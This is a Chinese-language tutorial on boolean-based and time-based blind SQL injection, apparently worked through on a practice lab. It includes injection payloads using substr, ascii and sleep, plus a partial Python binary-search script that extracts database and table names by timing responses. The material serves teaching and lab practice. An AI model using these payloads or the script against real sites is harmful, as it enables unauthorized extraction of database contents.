boolen盲注和时间盲注
目录
名词解释:
布尔盲注
时间盲注
操作
一、boolen盲注
名词解释:
盲注是一种在数据库注入攻击中,当目标网站没有直接返回数据库查询结果的错误信息或查询结果时,攻击者通过构造特定的 SQL 语句,根据网站返回的间接信息(如页面的正常与否、响应时间等)来推断数据库中数据的技术。
布尔盲注
布尔盲注是基于布尔值(真或假)的判断来推断数据库信息的一种盲注方式。其原理是通过构造包含逻辑判断的 SQL 语句,根据网页返回的结果(比如页面正常显示或显示错误页面)来判断条件是否成立,进而逐步获取数据库中的数据。
- 判断注入点:首先需要确定目标网站存在 SQL 注入漏洞,并且是盲注类型的漏洞。可以通过输入一些特殊字符(如单引号、双引号等),观察页面的响应变化来初步判断。
- 构造布尔条件:利用逻辑运算符(如
AND
、OR
)构造条件语句。例如,构造AND ASCII(SUBSTRING((SELECT DATABASE()),1,1)) > 100
这样的语句,该语句的含义是从数据库名称的第一个字符开始,获取其 ASCII 码值,并与 100 进行比较。如果比较结果为真,页面会返回正常显示的状态;如果为假,页面可能会返回错误或异常的显示状态。 - 逐步获取数据:通过不断改变比较的条件(如改变字符的位置、比较的 ASCII 码值等),逐步推断出数据库中的数据。例如,每次将字符位置加 1,直到获取完整的数据库名称、表名、列名以及数据内容等。
时间盲注
时间盲注是通过控制 SQL 语句的执行时间,根据页面的响应延迟来推断数据库信息的一种盲注方式。当构造的 SQL 语句满足特定条件时,数据库会执行一个耗时操作(如等待一定时间),根据页面响应时间的长短来判断条件是否成立。
具体步骤如下:
- 判断注入点:同样先确定目标网站存在 SQL 注入漏洞且适合时间盲注。
- 构造时间延迟条件:使用数据库特定的函数来实现时间延迟。例如,在 MySQL 中可以使用
SLEEP()
函数,构造IF((SELECT ASCII(SUBSTRING(DATABASE(),1,1)) = 100), SLEEP(5), 0)
这样的语句。该语句的含义是如果数据库名称的第一个字符的 ASCII 码值等于 100,则执行SLEEP(5)
函数,使数据库等待 5 秒;否则返回 0,不进行延迟。 - 判断条件结果:通过观察页面的响应时间,如果页面响应时间明显增加(接近或超过 5 秒),则说明条件成立;如果页面响应时间正常,则说明条件不成立。
- 逐步获取数据:类似于布尔盲注,通过不断改变判断条件,逐步推断出数据库中的数据。
需要注意的是,SQL 注入攻击是一种非法的网络攻击行为,严重威胁到网站和数据库的安全。在实际应用中,网站开发者应采取有效的安全措施(如输入验证、参数化查询等)来防止 SQL 注入漏洞的出现。
操作
一、boolen盲注
1、输入id,是否有注入点
输入?id=1后,显示如图
2、输入?id=1’后,发现没有回显
3、判断字段数,?id=1’ order by 3–+, 显示You are in…
4、联合查询, ?id=1’ union select 1,2,3--+
通过以上尝试,猜有可能是boolen盲注
5、猜测数据库的长度
通过多次尝试,最终猜长度为8
6、获取数据库名称
ascii(substring(database(),1,1)) ——这里表示从数据库名第一位截取一位将其转化为ascii值。
通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从’start’位,可以是第1位、第2位、第3位,以此类推。每次截取’length’个字符。
输入:?id=1’ and substr(database(),1,1)=‘s’–+ ——因为不知道第一个字段是什么,所以需要0-9,a-z,A-Z都试一遍。最终确定第一个字段是s。
substring解释:
substring(database(),1,1):表示从数据库第一为开始截取一个字符
substring(database(),2,1):表示从数据库第二位开始截取一个字符
substring(database(),n,1):表示从数据库第n位开始截取一个字符
我们就可以通过这样的语句来一个一个字符的将它注入出来。不过手动注入麻烦代价又大,所以我们一般会写一个脚本来注入。
使用python进行布尔盲注:
使用python脚本注入:这个python脚本使用的是二分查找。
运行结果1:获取数据库名
运行结果2:获取所在数据库的表名
二、时间盲注
与第8关如出一辙,只是要修改请求时间。
1、判断是否存在注入点
输入:?id=1’ and if(ascii(substr(database(),1,1))>110,sleep(3),0)--+ ——表示如果第一位的ascii值大于110就沉睡3秒,否则为假不会沉睡。通过左上角可知在沉睡,所以我们输入的为真。
2、猜测数据库长度
输入:?id=1’ and if(length(database())=8,sleep(3),0)–+。如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。
3、获取数据库名称
首先测试输入:?id=1’and if(ascii(substr((select database()),1,1))=’s’,sleep(3),0)–+。如果数据库名称第一个字符是’s’,则页面沉睡3秒,否则没有反应。
使用python脚本来获取(时间会比较慢)。修改请求时间的代码:
while low < high:
#查数据库名
# urs = "1' and if ( ascii (substr(database(),%d,1)) > %d ,sleep(1),0 ) -- " %(i,mid)
#查表名
urs = "1' and if ( ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)) > %d ,sleep(1),0 ) -- " %(i,mid)
#沉睡1秒,加快查询
res = {"id":urs }
#开始前的时间
starttime=time.time()
r = requests.get(url,params=res)
#请求后的时间
endtime=time.time()
#如果向减大于1则说明为真。
if endtime - starttime >= 1:
low = mid+1
else:
high = mid
mid = (low +high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
4、获取表名
首先测试输入:?id=1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+
此页面没有沉睡,说明表名首字母ascii值不为97
用python脚本获取表名
时间盲注的优先级不高,当字符数字注入、联合注入、报错注入、boolen盲注都不能使用时,再考虑时间盲注
从python脚本可发现效率低。